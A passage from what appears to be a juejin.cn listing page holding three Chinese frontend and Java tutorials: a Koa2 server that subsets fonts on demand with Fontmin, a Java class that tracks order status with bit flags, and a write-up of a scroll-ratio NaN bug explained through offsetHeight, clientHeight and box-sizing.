应该都能看懂吧,主要就是生成了一个 <link /> 标签并插入到文档中,标签的请求地址指向我们服务端,至于服务端会返回什么你可以先猜一猜。👻


服务端


服务端小编选择用 Koa2 来编写,你也可以选择 Express 或者 Egg ,甚至 Node 也是可以的,差异不大,具体逻辑如下:


const koa = require("koa2");
const fs = require("fs");
const FontMin = require("fontmin");

const app = new koa();

/** @name 优化,缓存已经加载过的字体包进内存 **/
const fontFamilyMap = {};

/** @name 加载字体包 **/
function loadFontLibrary(fontPath, fontFamily) {
if (fontFamilyMap[fontFamily]) return fontFamilyMap[fontFamily];
return new Promise((resolve, reject) => {
fs.readFile(fontPath, (error, file) => {
if (error) {
reject(new Error(error.message));
} else {
fontFamilyMap[fontFamily] = file;
resolve(file);
}
});
});
}

app.use(async (ctx) => {
const { name } = ctx.query;
// 设置返回文件类型
ctx.set("Content-Type", "text/css");

const fontPath = "./font/orange.ttf";
const fontFamily = "orange";
if (!fs.existsSync(fontPath)) return (ctx.body = "字体包读取失败");

const fontMin = new FontMin();
const fontFile = await loadFontLibrary(fontPath, fontFamily);
fontMin.src(fontFile);

const getFontCSS = () => {
return new Promise((resolve) => {
fontMin
.use(FontMin.glyph({ text: name }))
.use(FontMin.css({ base64: true, fontFamily }))
.run((error, files) => {
if (error) {
console.log("error", error.message);
} else {
const fontContent = files?.[1]?.contents;
resolve(fontContent);
}
});
});
};

const fontCSS = await getFontCSS();

ctx.body = fontCSS;
});

app.listen(3000);

console.log("服务器开启: http://localhost:3000/");

我们主要是采用了 Fontmin 库来完成整个字体包的按需加载功能,这个库是第一个纯 JavaScript 字体子集化方案。



可能有后端是 Java 或者其他技术栈的小伙伴,你们也不用担心,据小编和公司后端同事了解,不同技术栈也是有对应的库可以解决的,需要的可以自行查查看。










至此,本篇文章就写完啦,撒花撒花。


image.png


希望本文对你有所帮助,如有任何疑问,期待你的留言哦。

老样子,点赞+评论=你会了,收藏=你精通了。


作者:橙某人
来源:juejin.cn/post/7293151700869038099
收起阅读 »

用位运算维护状态码,同事直呼牛X!

位运算是一种非常高效的运算方式。在算法考察中比较常见,它使用位级别的操作来表示和控制状态,这在管理多个布尔标志或状态时尤其有用。那么业务代码中我们如何使用位运算呢? 位运算基础 我们先来回顾一下位运算的基础: 与(AND)运算:只有当两个位都是1时,结果才是...
继续阅读 »

位运算是一种非常高效的运算方式。在算法考察中比较常见,它使用位级别的操作来表示和控制状态,这在管理多个布尔标志或状态时尤其有用。那么业务代码中我们如何使用位运算呢?


位运算基础


我们先来回顾一下位运算的基础:



  • 与(AND)运算:只有当两个位都是1时,结果才是1(a & b)。

  • 或(OR)运算:如果两个位中至少有一个为1,那么结果就是1(a | b)。

  • 异或(XOR)运算:如果两个位不同,则结果为1(a ^ b)。

  • 非(NOT)运算:反转位的值(~a)。

  • 左移:将位向左移动,右侧填充0(a << b)。

  • 右移:将位向右移动,左侧填充0(a >> b)。


业务状态码应用


如何通过位运算维护业务状态码呢?我们可以在一个整数中存储多个布尔值,每个位代表一个不同的状态或标志。


让我们将上述课程状态的例子修改为管理订单状态的示例。假设一个订单有以下几种状态:已创建(Created)、已支付(Paid)、已发货(Shipped)、已完成(Completed)。


定义状态常量


我们首先定义这些状态作为常量,并为每个状态分配一个位:



  • 已创建(Created): 0001 (1)

  • 已支付(Paid): 0010 (2)

  • 已发货(Shipped): 0100 (4)

  • 已完成(Completed): 1000 (8)


Java 实现


接下来,我们在Java中实现一个OrderStatus类来管理这些状态:


public class OrderStatus {

    private static final int CREATED = 1;   // 0001
    private static final int PAID = 2;      // 0010
    private static final int SHIPPED = 4;   // 0100
    private static final int COMPLETED = 8// 1000

    private int status;

    public OrderStatus() {
        this.status = CREATED; // 默认状态为已创建
    }

    // 添加状态
    public void addStatus(int status) {
        this.status |= status;
    }

    // 移除状态
    public void removeStatus(int status) {
        this.status &= ~status;
    }

    // 检查是否有特定状态
    public boolean hasStatus(int status) {
        return (this.status & status) == status;
    }

    // 示例输出
    public static void main(String[] args) {
        OrderStatus orderStatus = new OrderStatus();

        System.out.println("-------订单已支付-----------");
        // 假设订单已支付
        orderStatus.addStatus(PAID);
        System.out.println("创建订单是否创建 " + orderStatus.hasStatus(CREATED));
        System.out.println("创建订单是否支付 " + orderStatus.hasStatus(PAID));

        // 假设订单已发货
        System.out.println("-------订单已发货-----------");
        orderStatus.addStatus(SHIPPED);
        System.out.println("创建订单是否发货 " + orderStatus.hasStatus(SHIPPED));

        // 假设订单已完成
        System.out.println("-------假设订单已完成-----------");
        orderStatus.addStatus(COMPLETED);
        System.out.println("创建订单是否完成 " + orderStatus.hasStatus(COMPLETED));
    }
}

运行结果:


截屏2024-03-06 12.09.07.png


在这个例子中,我们通过OrderStatus类使用位运算来管理订单的不同状态。这种方式允许订单在其生命周期中拥有多个状态,而且能够高效地检查、添加或删除这些状态。当订单状态变化时,我们只需要简单地调用相应的方法来更新状态。这样实现后相信同事肯定对你刮目的!


作者:半亩方塘立身
来源:juejin.cn/post/7343138804482408448
收起阅读 »

谁还没个靠bug才能正常运行的程序😌

web
最近遇到一个问题,计算滚动距离,滚动比例达到某界定值时,显示mask,很常见吧^ _ ^ 这里讲的不是这个需求的实现,是其中遇到了一个比较有意思的bug,靠这个bug才达到了正确效果,以及这个bug是如何暴露的(很重要)。 下面是演示代码和动图 <!DO...
继续阅读 »

最近遇到一个问题,计算滚动距离,滚动比例达到某界定值时,显示mask,很常见吧^ _ ^


这里讲的不是这个需求的实现,是其中遇到了一个比较有意思的bug,靠这个bug才达到了正确效果,以及这个bug是如何暴露的(很重要)。


下面是演示代码和动图


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
.container {
width: 300px;
max-height: 300px;
background-color: black;
position: absolute;
top: 60px;
left: 50%;
transform: translateX(-50%);
overflow-y: auto;
}
.child {
width: 260px;
height: 600px;
margin: 0px 20px;
background-color: pink;
position: relative;
}
.flag {
position: absolute;
width: 100%;
height: 25px;
background-color: blueviolet;
color: aliceblue;
text-align: center;
line-height: 25px;
font-size: 14px;
left: 0;
right: 0;
}
.top {
top: 0;
}
.bottom {
bottom: 0px;
}
</style>
</head>

<body>
<div class="container">
<div class="child">
<div class="flag top">top</div>
<div class="flag bottom">bottom</div>
</div>
</div>
</body>
</html>


20230927105849_rec_.gif




开始计算啦,公式:滚动比例 = 滚动距离 / 可滚动距离


滚动距离: $0.scrollTop


可滚动距离: $0.scrollHeight - $0.offsetHeight


即:scrollRatio = scrollTop / (scrollHeight - offsetHeight)


滚动到底部,计算结果是 300 / (600 - 300) = 1


image.png


我们需要拿scrollRatio某界定值(比如0.1)作大小的比较,计算是true还是false(用isShow = scrollRatio < 某界定值来保存)。


这里一切正常。




不正常的情况出现了


就是没有出现滚动条的情况,即.child的高度没有超过.container的高度时,把.child的高度设成.containermax-height,就没有滚动条了(下面讲的情景也都是没有滚动条的情况)。


image.png


这个时候再去计算,得到了NaN,以至于 NaN < 0.1 = false


image.png


因为isShow的预期就是false,所以一直都没有发现这个bug。




那么它是如何暴露的呢?


后来新的需求给.container加了border。演示一下加border,然后再去计算:


image.png


发现没,这时候$0.offsetHeight的高度把border的高度也算进去了,结果就成了true,这不是想要的结果 ❌。




然后就是一番查验


offsetHeight是一个元素的总高度,包括可见内容的高度、内边距(padding)、滚动条的高度(如果存在)以及边框(border)的高度。


而我们这里只需要可见的高度,就可以用到另一个属性了clientHeight


clientHeight是指元素的可见内容区域的高度,不包括滚动条的高度和边框的高度。它仅包括元素的内部空间,即内容加上内边距。


image.png


当然这也只是继续使除数为0,然后得到结果为NaN,不过bug已经暴露出来了,后面就是一些其他的优化啦~




总结 + 复习(盒模型 box-sizing)


发现没有,offsetHeightclientHeight的区别,就像盒模型中的标准盒模型怪异盒模型的区别:


box-sizing: content-box(默认,标准盒模型):宽度和高度的计算值都 不包含 内容的边框(border)和内边距(padding)。添加padding和border时, 使整个div的宽高变大。


box-sizing: border-box(怪异盒模型):宽度和高度的计算值都 包含 内容的边框(border)和内边距(padding)。添加padding和border时, 不会 使整个div的宽高变大。


这样讲是不是加深一下对这两种属性的印象


^ - ^


作者:aomyh
来源:juejin.cn/post/7283087306603823116
收起阅读 »